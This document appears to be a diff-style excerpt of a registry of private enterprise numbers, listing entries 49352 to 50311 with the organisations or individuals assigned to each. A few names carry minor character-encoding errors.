+49352 Hines Network
+49353 Certificate Authority for Presidential Office of Information and Communication Technologies of the Dominican Republic
+49354 ARGYROU MINAS
+49355 Fiskarhedens Trävaru AB
+49356 DQE Communications
+49357 Hoptroff London Limited
+49358 Tri-State Digital Services
+49359 EnterSträta Systems
+49360 Cord3 Innovations
+49361 Pridok AS
+49362 tabaracci.org
+49363 Unior Hungary Ltd.
+49364 ALFA SATCOM SYSTEMS LLC
+49365 Phoenix Online Studios
+49366 visol digitale Dienstleistungen GmbH
+49367 inducta++
+49368 Airbus Safran Launchers
+49369 Neopath Integrated Systems ltda
+49370 VTU Energy
+49371 VIA Rail Canada Inc.
+49372 Apmetrix, Inc.
+49373 Meissner AG (formerly 'Daniel Schmitz')
+49374 BAITIC SOLUCIONES
+49375 New York City Housing Authority
+49376 IPKids
+49377 556075-2825
+49378 People Come First Informatikai Szakertok Egyesulete
+49379 RGB Spectrum
+49380 Fastest Dog Services, Inc.
+49381 University of Wollongong
+49382 SAIC
+49383 Riverscape Software
+49384 InfoTest@KinLong
+49385 effiPilot
+49386 Agentil Software
+49387 Empresas Publicas de Medellin E.S.P
+49388 Nanjing Jiuyao Networks Technology Co.,Ltd
+49389 Weeden & Co. LP
+49390 Nebbiolo Technologies
+49391 PCs Plus
+49392 Think Clever
+49393 Neetra Srl
+49394 VidaIdentity
+49395 WestTel International
+49396 McKean Defense
+49397 Wizards of Industry B.V.
+49398 NPCore lnc.
+49399 Process-Informatik Entwicklungsgesellschaft mbH
+49400 Borås Energi och MIljö AB
+49401 JSC Navigation-Information Systems
+49402 Skogsbrukarna Ek Förening
+49403 ZaPF e.V.
+49404 shenzhen qibo network co.,ltd
+49405 HIGH CONNEXION
+49406 Concordia University
+49407 Skylark Wireless LLC
+49408 ZestFinance
+49409 miniOrange Inc
+49410 Objective:pi LLC
+49411 Mindleap
+49412 Guenzel IT
+49413 Telmec Soc. Coop. a r.l.
+49414 Windstack IVS
+49415 Business Services Organisation
+49416 upSource GmbH
+49417 Emsyscon Solutions
+49418 Innovation Place
+49419 Barefoot Networks, Inc.
+49420 Baylor Scott & White Health
+49421 DMIB Inc.
+49422 SeQnet
+49423 The Pingry School
+49424 GDT Advanced Solutions
+49425 Foolean.org
+49426 Cnergee Technologies Pvt. Ltd.
+49427 Shopping 24 Gesellschaft für multimediale Dienstleistungen mbH
+49428 Mobeewave
+49429 MRSG Advisors
+49430 Treatment.com
+49431 UNION PAPELERA MERCHANTING, S.L.
+49432 RAMSAY Générale de Santé
+49433 Path
+49434 cusy GmbH
+49435 Fundamentia Business Consulting SL
+49436 Joe Gedeon
+49437 Prodemge
+49438 TalkTalk Technology
+49439 Altitude - Phenix/Projet3
+49440 Vasgard GmbH
+49441 OTLIS - Operadores de Transportes da Região de Lisboa, A.C.E.
+49442 IOOOTA Srl
+49443 European Court of Auditors
+49444 Delypse
+49445 Emeritus Solutions Ltd
+49446 Gordion AB
+49447 ITAhM
+49448 Sprylogic Technologies Ltd.
+49449 International Telecom Assistance, sa
+49450 DGAC SNA-RP
+49451 Molina Healthcare Inc
+49452 Dmitriy Merkushov
+49453 Crab Cove Limited
+49454 Lobster Bay Limited
+49455 Oncology and Hematology Associates of South Texas, P.A.
+49456 Rottneros AB
+49457 CM IT Services
+49458 Selective Insurance Company of America
+49459 Baker, Donelson, Bearman, Caldwell & Berkowitz, PC
+49460 Priora AG
+49461 Xeen.UK LTD.
+49462 Crinkleit
+49463 Severn Trent Services
+49464 Darktide
+49465 Yuki Enterprises
+49466 Helse Midt-Norge IT
+49467 LOGISMAN ARAGÓN, S.L.
+49468 PrJSC "MTS UKRAINE"
+49469 WIT
+49470 Community Life GmbH
+49471 bayernets GmbH
+49472 Photo-Sonics, Inc
+49473 Weydstone LLC
+49474 CKUA Radio Network
+49475 suckleast.org Hosting Collective
+49476 Session Control Oregon LLC
+49477 Vault Investing
+49478 funatic b.v.
+49479 Damian Murphy Private LDAP Development
+49480 Williams-Sonoma, Inc. (WSI)
+49481 Vonamic GmbH
+49482 OEDIV Oetker Daten- und Informationsverarbeitung KG
+49483 NYS Unified Court System
+49484 Foundation National intellectual development
+49485 Behr Paint
+49486 Activx Biosciences
+49487 NTT DATA, Inc.
+49488 Vinton Steel LLC
+49489 Winmate INC.
+49490 Compello
+49491 Epec Oy
+49492 Danphone A/S
+49493 Türkiye Cumhuriyeti İçişleri Bakanlığı İller İdaresi Genel Müdürlüğü
+49494 TSI Solutions
+49495 Textron Systems - Electronic Systems
+49496 BA-POWER ELECTRONICS INC.
+49497 Immucor Inc
+49498 engelbert strauss GmbH & Co. KG
+49499 VCAT Consulting GmbH
+49500 CODIUM Company Limited
+49501 UGO3D INC.
+49502 NRPL Aero Oy
+49503 North Atlantic Industries, Inc.
+49504 De Dietrich SAS
+49505 Payboost
+49506 GE Transportation
+49507 Air Canada
+49508 FidusCrypt GmbH
+49509 Frank Engler
+49510 Pragmatik
+49511 Arcom Digital, LLC.
+49512 ipHouse
+49513 AgResearch Ltd
+49514 EPK Solutions
+49515 SQLTreeo
+49516 Jesse Friedman
+49517 Implaneo Dental Clinic Regensburg
+49518 turbosoft
+49519 PremiumSoft CyberTech Limited
+49520 Kauer GmbH
+49521 George Hogan Sound Ltd
+49522 SPIDYA Yazılım A.Ş.
+49523 CANCOM GmbH
+49524 MiE GmbH
+49525 Avatier Corporation
+49526 Massaraksh
+49527 Sigterm AS
+49528 Menzell & Döhle GmbH & Co. KG
+49529 ALTEN SA
+49530 MSC Trustgate.com Sdn. Bhd.
+49531 True Partner Singapore Holding PTE. LTD.
+49532 Plustek Inc.
+49533 Banco de Credito Social Cooperativo S.A.
+49534 jagdish chand
+49535 MaxLinear, Inc.
+49536 NetCom Satelital S.A.
+49537 Rewards LLC
+49538 Mencom Corporation
+49539 Communications & Power Industries, ASC Signal Division
+49540 SSE
+49541 Computerhaus EDV-Handels GmbH
+49542 DCM TECNOLOGIA
+49543 Unimatica S.p.A.
+49544 Nathan Balch
+49545 Universidad de Mendoza
+49546 Wilhelm Eimke oHG
+49547 OpenIQ Pty Ltd
+49548 FUJIAN GELU POWERTRONICS CO.,LTD.
+49549 GmSSL
+49550 LG Uplus
+49551 vorg.eu
+49552 Snowflake Software Ltd.
+49553 Radis Ltd
+49554 PEO C3T - PM Tactical Network
+49555 Stadt Jessen (Elster)
+49556 BRUNO BADER GmbH + Co. KG
+49557 CONDAT S.A.S.
+49558 TechCERT
+49559 Cancer Care Specialists
+49560 Gemeente Purmerend
+49561 EAD Systeme GmbH
+49562 Frankfurter Verein für soziale Heimstätten
+49563 Shure Incorporated
+49564 YumaWorks, Inc.
+49565 Universitate Alexandru Ioan Cuza din Iasi, Facultatea de Informatica
+49566 Salish Cancer Center
+49567 Norrskog Wood Products AB
+49568 jRedes Ltda ME
+49569 Surgical Information Sciences
+49570 Jonathan Wilbur
+49571 Elektrotechnik und Elektronik Oltmann GmbH
+49572 Precision Castparts Corp
+49573 eVolution Networks
+49574 Modern Language Association
+49575 El-Abbadi School
+49576 K.T.E.C.
+49577 GlobalCom
+49578 OON GlobalCom Private Limited
+49579 TCOM L.P.
+49580 Samuel Bächler Informatik
+49581 Sensify Security
+49582 Vapor Team
+49583 Txture GmbH
+49584 PacketX Technology Ltd.
+49585 InoftTech
+49586 Ulf Andersson Ã…keri AB
+49587 Prästlönetillgångarna i Uppsala stift
+49588 CONET Kft.
+49589 Auto-Maskin AS
+49590 Bobst Mex SA
+49591 TecAlliance GmbH
+49592 Net Research
+49593 ACES
+49594 The Royal Marsden NHS Foundation Trust
+49595 aineton
+49596 Previder BV
+49597 PremiumSoft CyberTech Limited
+49598 LANKA NAP INC
+49599 Bridgeworks Ltd
+49600 Vision Valley FZ LLC
+49601 Apollo Solar Inc.
+49602 CertificaEdu
+49603 LINKTEK Co., LTD.
+49604 KysinTech
+49605 MONISTOR
+49606 First American Bank
+49607 Learning Equality
+49608 Kofola Ceskoslovensko a.s.
+49609 Picomass Limited
+49610 d.velop AG
+49611 molch
+49612 Unassigned
+49613 Fremont Bank
+49614 Caritas der Dioezese St. Poelten
+49615 Metro Vancouver Regional District
+49616 Bienestar
+49617 Controlid Industria e Comercio de Hardware e Servicos de Tecnologia Ltda
+49618 Cubic Controls
+49619 SOJO University
+49620 ePatientFinder
+49621 Synetica Limited
+49622 ASRock Rack Incorporation
+49623 Bragafvl
+49624 Loews Corporation
+49625 China Telecom
+49626 CITIC GUOAN BROADCOM NETWORK CO.,LTD
+49627 Guangzhou Ziyuan Information Technology Co.,Ltd.
+49628 Penumbra
+49629 AlphaTesters
+49630 Instituto Superior de Derecho y Economia, S.A.
+49631 Arcad Software
+49632 BeeZeeLinx
+49633 CESBIO
+49634 TIMWE Group HQ – TOTAL TIM Servicos de Telecomunicacoes e Afins, Unipessoal Lda
+49635 Schwan-STABILO Cosmetics GmbH & Co. KG
+49636 SUNY-ESF
+49637 Kostiantyn Osypenko
+49638 Unassigned
+49639 Stampa Sistem
+49640 AIRTAG
+49641 VPS Holdings Ltd
+49642 Innotech Controls
+49643 Grand Rapids Public Schools
+49644 cenetec
+49645 Flanga
+49646 SCHÄFER Ausstattungs-Systeme GmbH
+49647 Substrata Systems LLC
+49648 zcsevcik
+49649 Skyport Systems, Inc
+49650 Vanasse Hangen Brustlin Inc
+49651 Erste Group Card Processor d.o.o.
+49652 Infrontec GmbH
+49653 WIKON Kommunikationstechnik GmbH
+49654 JSC Varutis
+49655 RFmondial GmbH
+49656 Cohen & Grigsby, P.C.
+49657 NEC Solution Innovators, Ltd.
+49658 BIIK SibSUTIS
+49659 Shanghai Shentong Metro Group Co.Ltd.
+49660 MOTEX Inc.
+49661 Hive13
+49662 Net4You Internet GmbH
+49663 Belbohemia, IOOO
+49664 Fundació Centre de Seguretat de la Informació de Catalunya
+49665 Tessares SA
+49666 Gribskov Kommune
+49667 Weda Skog AB
+49668 maxdoom.com
+49669 DB Station&Service AG
+49670 有时间 (Have time)
+49671 Vnomic, Inc.
+49672 POWER Engineers, Inc.
+49673 Capernwray Torchbearers Australia
+49674 Marland.IT
+49675 LLC Qualitteq
+49676 Agence Nationale de Sécurité des Systèmes d'Information (ANSSI/BF)
+49677 BlackBelt Technology Kft.
+49678 Cogit Studio
+49679 VLSS
+49680 Binovia Corp.
+49681 Praetorian Group, Inc
+49682 Dittman
+49683 iPhotonix
+49684 Infinit Group
+49685 Polovnikov LLC
+49686 Fundação Universidade Regional de Blumenau
+49687 Cormant Inc.
+49688 Blue Danube Systems
+49689 Zener Redes
+49690 Fortanix
+49691 kd5ahl.org
+49692 SHENZHEN Maisijie NETWORK CO.,LTD
+49693 Warner Music Group
+49694 IoTium Inc
+49695 D & K Co.
+49696 WanLiYun Medical Information Technology Co. Ltd.
+49697 Twitch Interactive
+49698 Sector 7
+49699 Wack.de
+49700 SCHERDEL GmbH
+49701 DofiLoop
+49702 Coc Coc Company Limited
+49703 Nutimaja Ltd.
+49704 Tieto Sweden Healthcare & Welfare AB
+49705 Cloudworks AS
+49706 glomex GmbH
+49707 Pragmaxus AG
+49708 DentalRay
+49709 Universign
+49710 GOMA Elettronica SpA
+49711 Polizei Sachsen
+49712 Ivins, Phillips & Barker Chartered
+49713 Instituto Nacional de Metrologia, Qualidade e Tecnologia - INMETRO
+49714 Stannum-Man
+49715 Epilog Vermögensverwaltungs AG
+49716 Mayfair Vermögensverwaltungs SE
+49717 Complyify LLC
+49718 Catalia Health
+49719 PERK Innovation
+49720 Australian Access Federation
+49721 LinCom
+49722 Perspica Networks
+49723 ELAS Ltd.
+49724 PJSC Rostelecom Volga branch
+49725 SSIMWave
+49726 Tata Communications.Limited (TCL)
+49727 BA
+49728 Broadquest 2nd system
+49729 GN Hearing A/S
+49730 GN Audio A/S
+49731 Apollo Enterprise Imaging Corp
+49732 Parahyangan Catholic University
+49733 SMARTMOVE S.A.
+49734 Ekeryds trävaruaffär AB
+49735 Hwang Group
+49736 Crytus corporation
+49737 Verizon Telematics
+49738 SynTrust Tech International Ltd.,
+49739 Drivenets
+49740 Velostrata
+49741 xanzex
+49742 Hot Chilli Box Ltd.
+49743 Intouch Games Ltd
+49744 Hughes do Brasil
+49745 Ludia inc.
+49746 ImageWare Systems, Inc.
+49747 Ricegrowers Limited
+49748 NearbySensor
+49749 K&T Host
+49750 Mutualink, Inc
+49751 Gridscape Solutions
+49752 CLOUDWAN
+49753 Interactive Northwest Inc
+49754 Hydro-Quebec - DPT (Direction Principale Telecom)
+49755 Université Paris Sciences et Lettres
+49756 Futurecom Systems Group, ULC.
+49757 USMD
+49758 NextgenID
+49759 Jacques Technologies
+49760 Semperficio Software LLC
+49761 Toki Winter
+49762 PCCW-HKT TSL
+49763 Communication Company, NARI Group Corporation Information Technology
+49764 Spokeo, Inc.
+49765 Guangzhou ChengJia Technology Co., Ltd.
+49766 Radium Networks
+49767 J. RETTENMAIER & SÖHNE GMBH + CO KG
+49768 Infomac Sp. z o. o. Sp. k.
+49769 YADRO
+49770 NAVIUS
+49771 Stiftung Krankenhaus Bethanien für die Grafschaft Moers
+49772 Zolkover
+49773 SCHOELLERSHAMMER GmbH & Co.KG
+49774 XLIM
+49775 Unassigned
+49776 INSTITUTO DEL CANCER Y ENFERMEDADES DE LA SANGRE, CSP
+49777 Herbrich Corporation
+49778 Lin and Associates, Inc.
+49779 Shenzhen Yetelcom Communication Tech. Co.,Ltd.
+49780 Oklahoma State University Foundation
+49781 MicroGrid Solutions, LLC
+49782 Author Solutions, LLC
+49783 SnapRoute Inc.
+49784 FINAO Ltd
+49785 Tubular Labs, Inc.
+49786 Cancer Specialists of North Florida
+49787 AparnaSystems Inc.
+49788 Nova Computer Services LLC
+49789 DHW
+49790 Marmocet LLC
+49791 Borel & Barbey
+49792 HDS a.s.
+49793 Persson Invest skog AB
+49794 M2MSOFT
+49795 Navitel
+49796 ARH Inc.
+49797 RideOnTrack
+49798 BVZ Holding AG
+49799 Visteon Electronics Germany GmbH
+49800 GE Digital
+49801 PST Public Safety Technologies GmbH
+49802 beyerdynamic GmbH & Co. KG
+49803 Kopen Secondary School
+49804 Concept Soluções
+49805 Skaro 73k
+49806 St. Luke's Hospital
+49807 BERNMOBIL
+49808 Rubica
+49809 Fitivision Technology Inc.
+49810 Panalpina World Transport (Holding) Ltd.
+49811 Ecole Supérieure de la Francophonie pour l'Administration et le Management
+49812 S&T AG
+49813 Sytecs
+49814 GWAdriga GmbH & Co. KG
+49815 FBR Group B.V.
+49816 SEIKO TIME CREATION INC.
+49817 Solid Park AB
+49818 shikuo technology corpartion
+49819 KST technology co.,ltd
+49820 TELEOFIS JSC
+49821 New Jersey Hematology Oncology Associates, LLC
+49822 Matthias Robert Wiora
+49823 Multapplied Networks Inc.
+49824 Springs Charter Schools
+49825 Canovate Group
+49826 Drees & Sommer
+49827 Digital imaging
+49828 City of York Council
+49829 VTTEK - Viettel Group
+49830 eDoc Group - Tiers de Confiance
+49831 Expression Networks LLC
+49832 Nero Blanco IT Ltd
+49833 Sierra View Medical Center
+49834 Sioui Microsolutions
+49835 Barava, LLC
+49836 MirageOS
+49837 JIANGSU HENGSION ELECTRONIC S&T CO.,LTD
+49838 ZHEJIANG QUANTUM TECHNOLOGIES CO., LTD
+49839 Adjara Group Hospitality
+49840 Ponomarevs
+49841 Tecnohold Development Tecnology Ind. e Com. Ltda.
+49842 Mark Broecker IT-Consulting
+49843 Universidad Nacional de Colombia
+49844 KAHUNA Ventures LLC
+49845 Älvdalens Besparingsskog
+49846 Vadsbo Skog AB
+49847 Logitech, Inc.
+49848 Heilongjiang ETSkill Technology Co., Ltd.
+49849 UNIS-WDC Storage Co., LTD.
+49850 Idiosys
+49851 Aria Networks
+49852 JSC ITC Sistema-Sarov
+49853 Atea Norge AS
+49854 BITMARCK TECHNIK GMBH
+49855 IDGENERIS
+49856 Community Living British Columbia
+49857 Department of Intellectual Property
+49858 Centracare Health
+49859 Lyggeskog AB
+49860 Rönås Skog AB
+49861 Logate
+49862 NodNetwork
+49863 RESEARCH ON DEMAND LAB
+49864 BlueGoat
+49865 Bartz.net
+49866 Thurnau Industries
+49867 Kforce, Inc.
+49868 Pizza Max
+49869 TrowLink
+49870 APIIDA AG
+49871 OpenBMC Project
+49872 McKay Brothers, LLC
+49873 Thales Services France Agora-t
+49874 friedlmaier.net
+49875 Advocate Health and Hospitals Corporation
+49876 Vexata Inc.
+49877 Skylads Ltd
+49878 Wanless Systems Limited
+49879 Gorilla Technology
+49880 Unassigned
+49881 Prismview
+49882 Synanetics Ltd
+49883 MES Solutions by ASTOR
+49884 Praetors AG
+49885 Wisscot
+49886 LensRentals.com
+49887 MySCS
+49888 SEEK LIMITED
+49889 BobsterCorp
+49890 Choptank Electric Cooperative
+49891 Hubei Keenward Engineering Co.,Ltd.
+49892 ProcessUnity
+49893 Trimoz Technologies
+49894 Tom W Wolf
+49895 ZXW Networks Co., Ltd.
+49896 Fireglass
+49897 TrueVolve Technologies
+49898 PROMSVYAZKOMPLEKT LLC
+49899 stone IT SOLUTIONS
+49900 Rahandusministeeriumi Infotehnoloogiakeskus
+49901 LDA Audio Tech
+49902 PANSOMA GmbH
+49903 Petrolink International Ltd
+49904 telisca
+49905 OOO KONTINENT
+49906 Hanning
+49907 Phasor Solutions Ltd
+49908 Nuance Communications, Inc.
+49909 BNP Paribas Real Estate Hungary
+49910 GonÅ¡Äákovci
+49911 Alliance Entertainment
+49912 Moose and Wombat
+49913 kioriy network
+49914 SAKO TECHNOLOGIES LIMITED
+49915 Los Angeles Department of Water & Power
+49916 ESTECH International
+49917 MNP LLP
+49918 UNATEC ICT, S.L.
+49919 SQUELCH INC.
+49920 VITOGAZ Switzerland AG
+49921 OLZETEK, Inc.
+49922 Aron AG
+49923 VELANKANI ELECTRONICS PVT. LTD.
+49924 whiteneng
+49925 Figeas SA
+49926 H&D International Sp. z o.o. Oddział w Polsce
+49927 Oregon Department of Transportation
+49928 Nomad Global Communication Solutions
+49929 Rubrik, Inc
+49930 Zollner Elektronik AG
+49931 Metacode
+49932 Deerfield Academy
+49933 Alpha Med Physician Group LLC
+49934 Cellnetrix GmbH
+49935 Thought Through Software, Inc.
+49936 The AME Group
+49937 bg nerilex
+49938 Azapp Software
+49939 nyx-network
+49940 Sagio A/S
+49941 ReadyNet Solutions
+49942 myspot.at
+49943 Tamseng
+49944 City of Toronto
+49945 Fastly, Inc.
+49946 Nymi
+49947 ACH Colombia SA
+49948 eWitness Italia Srl
+49949 Calvert County Government
+49950 MeetNow! GmbH
+49951 Jaramillo
+49952 DATA TECH INTERNATIONAL DOO
+49953 Spg Controls Pty Ltd
+49954 Forimp AB
+49955 Martin Handl
+49956 ReiseBank AG
+49957 Diginext
+49958 Burgergemeinde Bern
+49959 inDenova SL
+49960 Ericsson DE - MS/IT
+49961 MindCompute Inc.
+49962 Magic Code Co., Ltd.
+49963 Belarusian State University
+49964 Bobby's Foods Ltd
+49965 Neova AB
+49966 Herbrich Corporation
+49967 Värendskog AB
+49968 Tyfone Inc
+49969 Miramar Networks
+49970 s IT Solutions
+49971 Hedmark IKT
+49972 RunSDN
+49973 FancyGuy Technologies
+49974 Vlinder Software
+49975 Bon Secours Health System
+49976 E8 storage
+49977 West Virginia State Tax Department
+49978 Universidade do Estado de Santa Catarina - UDESC
+49979 BigRentz
+49980 ExampleCompany
+49981 IFBLE SOLUCIONES
+49982 Medtronic RTG
+49983 Luminate Wireless
+49984 Arecont Vision
+49985 Franklin Community Schools
+49986 BAE Systems Inc.
+49987 GHIGHO
+49988 Bundeseisenbahnvermoegen
+49989 Peloton Technology
+49990 UTISCP
+49991 Smart Integrated Solutions SRL
+49992 Littwin Systemtechnik GmbH & Co. KG
+49993 Koinonia Christian Fellowship
+49994 Banco Azteca S.A. Institución de Banca Múltiple
+49995 DS Broadcast, Inc.
+49996 CoreEdge Networks Co., Ltd
+49997 Socionext Inc.
+49998 OOO INFOCOM-LTD
+49999 GFD GmbH
+50000 King Tsushin Kogyo Co., Ltd.
+50001 Scildon
+50002 Marcepan Org.
+50003 NCSCCS Limited
+50004 Einsatz Development Inc
+50005 Université de Haute Alsace
+50006 Chongqing Ambition Science&Technologies Co.,Ltd.
+50007 Lahti University of Applied Sciences
+50008 RPC LLP
+50009 Workinout.com
+50010 Collinear Networks Inc.
+50011 Hose-McCann Communications
+50012 Enrique Avalle
+50013 Aldridge Traffic Controllers Pty Ltd
+50014 nmhq.net
+50015 Scarsdale Schools
+50016 Biocatch
+50017 CG Defense Technologies
+50018 Pacific Media Technologies Pty Ltd
+50019 Bucet AG
+50020 Nightwire
+50021 MAJALOG
+50022 air atéliers GmbH
+50023 HIMA Paul Hildebrandt GmbH
+50024 AlmavivA S.p.A
+50025 dSPACE GmbH
+50026 PHYSEC GmbH
+50027 The Document Foundation
+50028 Siemens AG Mobility Division
+50029 AGILE WEB
+50030 BENTELER Business Services GmbH
+50031 Ring Central, Inc
+50032 City of Edmond
+50033 IT-Solutions Nuernberg
+50034 AR24 SAS
+50035 Identinetics IT-Services GmbH
+50036 Cancer South Institute
+50037 Ultimate Software
+50038 Southeast Nebraska Hematology and Oncology Consultants
+50039 ELUON
+50040 MTI Systems
+50041 dust production
+50042 ZERO WAR (零度战争 工作室)
+50043 Svanängskog AB
+50044 STR-SpeechTech Ltd.
+50045 IT-LINE SIA
+50046 The ICT Hub INC.
+50047 S-Sharp Corporation
+50048 Härnösands stift
+50049 Openfiler
+50050 JNC FZE
+50051 tRetail
+50052 Datang Gohighsec(zhejiang)Information Technology Co.,Ltd.
+50053 AVer Information Inc.
+50054 Cherry Grass
+50055 Telegra
+50056 Public Joint-Stock Company "Detsky Mir"
+50057 PrimeCalc GmbH
+50058 RtBrick Inc.
+50059 JSC Penza Research Electrotechnical Institute
+50060 HPC
+50061 IP Directions
+50062 Ultra Electronics – Communication and Integrated Systems
+50063 QCR Holdings, Inc.
+50064 By Techdesign
+50065 PREFECTURE DE POLICE DE PARIS
+50066 YADOS GmbH
+50067 University Cancer & Blood Center, LLC
+50068 JNETLABS
+50069 ELIT electronics & IT
+50070 Network Kinetix, LLC
+50071 Immae
+50072 CAF Power & Automation
+50073 Integrisight, LLC
+50074 Changchun Sunny Information Technology Co., Ltd
+50075 Shanghai YuanRui Industrial Co., Ltd.
+50076 Real World Education Ltd
+50077 AZZURRA Engenharia de Sistemas Ltda
+50078 Equate Technologies Pty Ltd
+50079 ABT ASSOCIATES PTY LTD
+50080 Do It Yourself Werkstatt Wilhelmshaven e.V.
+50081 SMC Corporation (Product Development Division-6)
+50082 Beijing JoinusRIP Co.
+50083 Norwegian Creations
+50084 Douanes Sénégalaises
+50085 Condeco
+50086 Fircroft Engineering Services Limited
+50087 Comprimato Systems, s.r.o.
+50088 Japanese Communist Party, Central Comittee
+50089 Continent 8 Technologies PLC
+50090 Floyd Arguello
+50091 BrightSoftware Technologies LLC.
+50092 Ostec-SMT
+50093 SCA Munksund AB
+50094 SEC 1.01 AG
+50095 Private-Network.com, Inc.
+50096 Scoop Publishing Limited
+50097 Unassigned
+50098 Unassigned
+50099 PRZEDSIĘBIORSTWO WIELOBRANŻOWE DMS BOGDAN DARZECKI MAREK MAŚLANKA S.C.
+50100 energy & meteo systems GmbH
+50101 NEOCHROM, ltd
+50102 FATH Mechatronics GmbH
+50103 TSYS
+50104 ActivIntel Inc.
+50105 Candela Innovations, LC
+50106 delgiacco medical, llc
+50107 Karlour LLC
+50108 Gebhardt Bauzentrum GmbH & Co. KG
+50109 Open Banking Limited
+50110 Cybraics, Inc.
+50111 Samsung SDI America
+50112 Otomatica
+50113 AI Prime
+50114 CloudGenix
+50115 Genesis Medical Group
+50116 Rivian Automotive, Inc.
+50117 Eversource Energy
+50118 NZ FIBRE COMMUNICATIONS LIMITED trading as Stuff Fibre
+50119 Seoul National University Hospital
+50120 Sofco Pty Ltd
+50121 Root
+50122 ISiT OOO
+50123 Rutronik Elektronische Bauelemente GmbH
+50124 Howco
+50125 SERVICIOS DE RADIO WAVENET
+50126 Elecard
+50127 Changchun Vocational Institute Of Technology
+50128 Digiroam LLC
+50129 DEM Manufacturing
+50130 Perfoware Corp.
+50131 Blacktree Technology Pty Ltd.
+50132 Sonic Automotive
+50133 GPI RAS
+50134 Enika LLC
+50135 Markon Cooperative Inc
+50136 High Sec Hosting HSDC AB
+50137 Greene County Circuit Court
+50138 Legrand North and Central America
+50139 Trice Medical, Inc.
+50140 Thinking Objects GmbH
+50141 Sundkontor
+50142 Sunshine Coast Council
+50143 Universitätsmedizin Greifswald
+50144 Viz.AI
+50145 FRRouting
+50146 Wi-Net Telecom
+50147 Mateer Harbert
+50148 PIXELLAB LLC
+50149 Beijing ZhongChuang Teraspek Co.,LTD
+50150 Royole Corporation
+50151 Flugatlas
+50152 NEOCHROM-TRADE, ltd
+50153 Span d.o.o.
+50154 NU2 Systems LLC
+50155 Babioch
+50156 Navigators Studentenverenging Enschede
+50157 fouss
+50158 City of Burnsville
+50159 Monro Muffler Brake Inc.
+50160 YUASA-NET
+50161 it-pro-berlin.de
+50162 Sweet Hub
+50163 Hartmut Eilers
+50164 STATUS INTERNET CO., LTD
+50165 IPN Solutions GmbH & Co. KG
+50166 Aviall Services, Inc.
+50167 NGP VAN, Inc
+50168 Aaltronav
+50169 Industrielle Alliance
+50170 Price International Ltd
+50171 ICON Multimedia, S.L.
+50172 ifm syntron gmbh
+50173 DOMINAE Srl Unipersonale
+50174 Beekeeper Technology
+50175 The Department for Work and Pensions
+50176 Mark H. Zangmeister Center
+50177 Nextiva
+50178 FLR Services Ltd
+50179 Ocean Technical Systems
+50180 MiaRec, Inc.
+50181 pioto.org
+50182 Weibel Scientific A/S
+50183 EIUS d.o.o.
+50184 Tech4Lyfe Co. Ltd
+50185 WH Gelsenkirchen FB Informatik
+50186 Vodafone UK
+50187 Pattern Recognition and Inteligent Systems Laboratory
+50188 zkpig123.org
+50189 AnRobot
+50190 CS Corporation
+50191 Matra Mandiri Prima
+50192 SOGETEL srl
+50193 ANA-U GmbH
+50194 Deutscher Genossenschafts-Verlag eG
+50195 Domo Tactical Communications (DTC) Ltd
+50196 Instituto de Física Gleb Wataghin - Unicamp
+50197 jedi solutions
+50198 Aplura, LLC
+50199 Skogsbolaget Mats Broberg AB
+50200 yellowshelf
+50201 Cubic Telecom
+50202 Southern Union Conference of Seventh day Adventists
+50203 Sankosha Corporation
+50204 congliu0913 Limited
+50205 Telescent Inc.
+50206 QuaeroSys UG
+50207 Kerridge Commercial Systems
+50208 TRANSPORTS GPH
+50209 kbo-Isar-Amper-Klinikum
+50210 The Center for Cancer and Blood Disorders
+50211 Universitätsstadt Tübingen
+50212 HostId
+50213 Positive Technologies
+50214 Alfred Kärcher GmbH & Co. KG
+50215 FIBOIS Alsace
+50216 Two Degrees Ltd
+50217 EVICERTIA (formerly 'Evidencias Certificadas SL')
+50218 Union Scribe
+50219 Alaska Railroad
+50220 Lukas Müller
+50221 Secure Edge Technologies
+50222 jw4.us
+50223 Changing Information Technology Inc.
+50224 Shenzhen HS Fiber Communication Equipment CO.,LTD
+50225 FONEX SAS
+50226 APM Technica AG
+50227 Trinecke zelezarny, a.s.
+50228 NETSURFUSA INC
+50229 Positive Resource Center
+50230 The Regional Municipality of York
+50231 Beijing SinoVoice Technology Co.,Ltd.
+50232 WebWorks Sistemas e Redes
+50233 One Identity LLC
+50234 Ursaconn Technology Co., Ltd.
+50235 Energy Efficiency Ltd
+50236 T 8 Publishing Technologies
+50237 WILO SE
+50238 Manuel Fernandez Lopez
+50239 Crypteron
+50240 Raycap
+50241 Tom Storey
+50242 SERVICE TOUS TRANSPORTS
+50243 Panoptix CC
+50244 International Aeronavigation Systems Concern, JSC (IANS)
+50245 van Ryck Communications LLC.
+50246 Oncology & Hematology Associates of West Broward PA
+50247 Techbase IT Solutions
+50248 mr-s.run
+50249 five-nines
+50250 ErvoCom Engineering AG
+50251 TMM Software
+50252 Web Benefits Design Corporation
+50253 Electronic Transaction Consultants Corporation
+50254 JPoD
+50255 PeerPair
+50256 Infinite Solutions LLC
+50257 NSD Corporation
+50258 Northwestern Local Schools
+50259 Citra Health Solutions
+50260 Byteflux.io
+50261 Verafin
+50262 Razzleberries AB
+50263 Tuveri
+50264 PINTU PASWAN
+50265 SAS TRANSPORT NOEL
+50266 5xS Security Consulting
+50267 Credit Agricole Technologies et Services
+50268 BOUVERY COMBUSTIBLES
+50269 AKIO SOFTWARE
+50270 Software Logistics / ABN AMRO
+50271 Salam International
+50272 QInnovate
+50273 Diginosis, Inc.
+50274 TRANSPORTS KIEFFER SARL
+50275 Granicus Systems Limited
+50276 Strikr
+50277 all-your-assets
+50278 ColorTokens, Inc.
+50279 Magrathea Technologies
+50280 Naveria, LLC
+50281 whateverany.com
+50282 S.A.S. TRANSPORTS CLAUDEL
+50283 HovNet-SERVIS s.r.o.
+50284 Autonomous Non-Commercial Organization of higher education “INNOPOLIS UNIVERSITYâ€
+50285 Logikbar, LLC
+50286 GRUPO LA NOGALERA SA DE CV
+50287 Webellian
+50288 fibrisTerre Systems GmbH
+50289 aapala.fi
+50290 Supplyframe, Inc.
+50291 Infomicro Comunicaciones
+50292 Jenoptik AG
+50293 Selfnet e.V.
+50294 Canreer
+50295 Melbourne Grammar School
+50296 jSCM Solucoes Empresariais
+50297 WERNER IT-SYSTEME
+50298 Paper 4 Print
+50299 effexx Telekommunikation GmbH
+50300 SIGNAL IDUNA Gruppe
+50301 Personal
+50302 ACIN iCloud Solutions Lda
+50303 Meadow
+50304 OnePacs LLC
+50305 inkClub Development AB
+50306 roselarsen.dk
+50307 Laureate Education Services Australia
+50308 YazamTech
+50309 ITALIAN INSTITUTE FOR GENOMIC MEDICINE (IIGM)
+50310 BridgeHead Software
+50311 INSITE S.A.S.
